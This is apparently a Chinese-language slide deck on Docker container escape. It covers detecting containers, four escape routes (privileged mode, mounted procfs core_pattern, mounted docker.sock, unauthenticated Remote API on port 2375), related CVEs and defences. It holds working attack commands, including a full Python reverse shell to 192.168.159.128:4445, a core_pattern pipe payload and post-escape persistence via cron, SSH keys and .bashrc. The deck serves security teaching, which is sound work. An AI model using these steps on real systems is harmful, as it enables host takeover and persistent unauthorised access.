Slide 1

Slide 1 text

Docker 逃逸 2024/10/11 by yukai

Slide 2

Slide 2 text

Docker? 逃逸? 01 辨識 Docker 環境 02 Docker 逃逸 03 防止 Docker 逃逸 04 Outline

Slide 3

Slide 3 text

Docker? 逃逸? 01

Slide 4

Slide 4 text

Docker 逃逸 的本質 • Docker:經由 Cgroup / Namespace 限制權限的 process • Docker 逃逸 在有限權限的 process 逃逸到更多權限的 process,可以視 為一種提權方式

Slide 5

Slide 5 text

Namespace • 作用:隔離 process 之間的系統資源 • 實現效果:容器與容器隔離、容器與宿主機隔離 • EX:PID 、User、Mount、Network、UTS (namespace)

Slide 6

Slide 6 text

Cgroups • 作用:根據程式對資源的請求觸發相應的 hook • 實現效果:對容器資源的分配、限制和管理

Slide 7

Slide 7 text

Capabilities • 作用:細分權限功能 • 實現效果:提高容器的安全性,落實最小權限原則

Slide 8

Slide 8 text

Capabilities cat proc/1/status | grep Cap

Slide 9

Slide 9 text

Capabilities capsh --decode=000001fffffffff | grep -i NET_ADMIN

Slide 10

Slide 10 text

辨識 Docker 環境 02 How to TCPdump effectively in Docker

Slide 11

Slide 11 text

常見的檢驗方式 • .dockerenv • /proc/1/cgroup • Container 環境變數 • Use mount / fdisk command • PID 1 process name

Slide 12

Slide 12 text

.dockerenv ls -alh / | grep .dockerenv • user 權限過小,則有可能無法看到 .dockerenv • Ex:www-data

Slide 13

Slide 13 text

/proc/1/cgroup grep –i docker /proc/1/cgroup cat /proc/1/cgroup | grep -qi docker && echo "In Docker" || echo "Not Docker"

Slide 14

Slide 14 text

Container 環境變數 env | grep –i hostname

Slide 15

Slide 15 text

Use mount / fdisk command mount | grep -i docker fdisk –l 容器內:沒有輸出結果(特權容器除外)

Slide 16

Slide 16 text

PID 1 process name ps -aux

Slide 17

Slide 17 text

Docker 逃逸 03

Slide 18

Slide 18 text

Docker 逃逸的情境 • Docker 配置不當(setting、mount) • Docker 本身的服務漏洞 • Linux Kernel 漏洞

Slide 19

Slide 19 text

配置不當 – 誤用參數導致隔離失效 --privileged:容器內的 root 權限 = 宿主機上的 root 權限 --net=host:容器與宿主機在同一個 Network namespace --pid=host:容器與宿主機在同一個 PID namespace --volume /:/host:宿主機根目錄被掛載到容器內部 權限隔離 網路隔離 行程隔離 文件檔案隔離

Slide 20

Slide 20 text

Case1:Privilged 特權容器逃逸 1. 滲透進 privileged docker container 2. 掛載宿主機目錄並切換根目錄

Slide 21

Slide 21 text

How to check privileged? cat /proc/self/status |grep Cap 特權模式下 非特權模式下

Slide 22

Slide 22 text

如何逃逸 mkdir test && mount /dev/sde test fdisk -l chroot test

Slide 23

Slide 23 text

逃逸之後? • crontab config file:反彈排程 shell • /root/.ssh/authorized_keys:ssh 連線 • /root/.bashrc:bashrc shell 利用

Slide 24

Slide 24 text

Case2:掛載宿主機 procfs 逃逸 1. 滲透進掛載 procfs 的 container 2. 將 reverse shell 放入目標的 proc 目錄 3. 觸發 core dumped

Slide 25

Slide 25 text

Procfs • 也就是 Linux 路徑下的 /proc 虛擬檔案系統 • 動態生成並記錄系統、process 的狀態

Slide 26

Slide 26 text

core_pattern & core dump • /proc/sys/kernel/core_pattern • 設置系統在 process 崩潰時生成 core dump 的文件路徑格式 echo "/tmp/core-%e.%p" > /proc/sys/kernel/core_pattern

Slide 27

Slide 27 text

Enable core dumps ulimit -S -c 1000 ulimit -S -c unlimited [my-program-to-troubleshoot] • /etc/security/limits.conf:所有的限制設定檔 • -S/-H:軟限制 / 硬限制,-c:core dump file 的大小 • 沒有限定容量(unlimited),後面是指定的程式

Slide 28

Slide 28 text

Enable core dumps • -a:列出目前出所有的限制 ulimit -S -a

Slide 29

Slide 29 text

如何逃逸 find / -name core_pattern apt-get update -y && apt-get install vim gcc -y

Slide 30

Slide 30 text

如何逃逸 echo -e "|$host_path/[shell 路徑] \rcore" > /host/proc/sys/kernel/core_pattern 準備一個觸發 core dump 的程式 準備一個 reverse shell 的程式 執行崩潰程式並反彈 shell host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)

Slide 31

Slide 31 text

如何逃逸 #!/usr/bin/env python3 import os, pty, socket host = "192.168.159.128" port = 4445 def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null') pty.spawn("/bin/bash") s.close() if __name__ == "__main__": main() Python reverse shell

Slide 32

Slide 32 text

如何逃逸 #include int main(void) { int *a = NULL; *a = 1; return 0; } C Code Use to cause core dump

Slide 33

Slide 33 text

測試結果

Slide 34

Slide 34 text

Case3:掛載 Docker Socket 1. 滲透進掛載 Docker Socket 的 container 2. 容器內創建一個掛載宿主機根目錄的新容器(DinD) 3. 進入新容器後切換根目錄

Slide 35

Slide 35 text

Docker and Dockerd Docker Daemon (Dockerd) Docker Daemon Docker CLI UNIX Socket (/var/run/docker.sock) TCP 1、unix:///var/run/docker.sock 2、tcp://host:port 3、fd://socketfd

Slide 36

Slide 36 text

如何逃逸 docker run -it -v /var/run/:/host/var/run/ ubuntu /bin/bash find / -name docker.sock apt update && apt-get install -y docker.io docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash

Slide 37

Slide 37 text

Case4:Docker Remote API 未授權存取 1. 檢測某 IP 的 2375(2376) port 是否授權 2. 建立特權容器並連接(DinD) 3. 掛載宿主機目錄並切換根目錄

Slide 38

Slide 38 text

如何切換通訊方式 vim /lib/systemd/system/docker.service [Service] ExecStart= ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock systemctl daemon-reload && service docker restart

Slide 39

Slide 39 text

檢測 2375 port 是否授權 curl http://[IP]:2375/info docker -H tcp://[IP]:2375 ps docker -H tcp://[IP]:2375 images 方法一 方法二

Slide 40

Slide 40 text

檢測 2375 port 是否授權 方法三 IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && wget http://$IP:2375 Example:在容器中找 host IP

Slide 41

Slide 41 text

如何逃逸 docker -H tcp:/[IP] run -itd --name ubuntu --privileged ubuntu:16.04 /bin/bash docker -H tcp://[IP] exec -it ubuntu /bin/bash mkdir test && mount /dev/vda1 test chroot test

Slide 42

Slide 42 text

Docker 本身的服務漏洞 Docker Client Docker Daemon Containerd-shim Containerd Containerd-shim Containerd-shim runc runc runc application application application Socket gRPC

Slide 43

Slide 43 text

近期 CVE 相關的容器漏洞 • CVE-2024-21626:不安全的配置 • CVE-2024-0132:不安全的配置 • CVE-2022-0492:不安全的配置 • CVE-2021-30465:docker 服務漏洞 • CVE-2021-25741:docker 服務漏洞

Slide 44

Slide 44 text

Tools For Container Escape • CDK:自動收集可用資訊、並提供自動逃逸的各種功能 • Linpeas:搜尋可能路徑的提權腳本 • Amicontained:取得權限並找到逃逸方法的工具 • Deepce:收集並逃逸的工具 • Grype:取得 images 中安裝的軟體中所包含的 CVE

Slide 45

Slide 45 text

防止 Docker 逃逸 04

Slide 46

Slide 46 text

防止 Docker 逃逸 – 版本更新 • Docker 版本 >= 19.03.1 • K8s 集群版本 >= 1.12 • Linux kernel >= 4.14

Slide 47

Slide 47 text

防止 Docker 逃逸 – 運行注意 • 不使用 root 權限運行 Docker 服務 • 不以 privileged 啟動 Docker • 不將宿主機目錄掛載到容器目錄 • 不使用 --cap-add=SYSADMIN 將容器啟用

Slide 48

Slide 48 text

資料來源 • Docker 容器逃逸 – 奇安信攻防社區 • Docker 逃逸 CVE-2019-5736、procfs 雲安全漏洞復現 • Docker 逃逸漏洞總匯 • 深入高可用系統原理與設計 • Hack Tricks - Docker Breakout / Privilege Escalation • Understand and configure core dumps on Linux

Slide 49

Slide 49 text

No content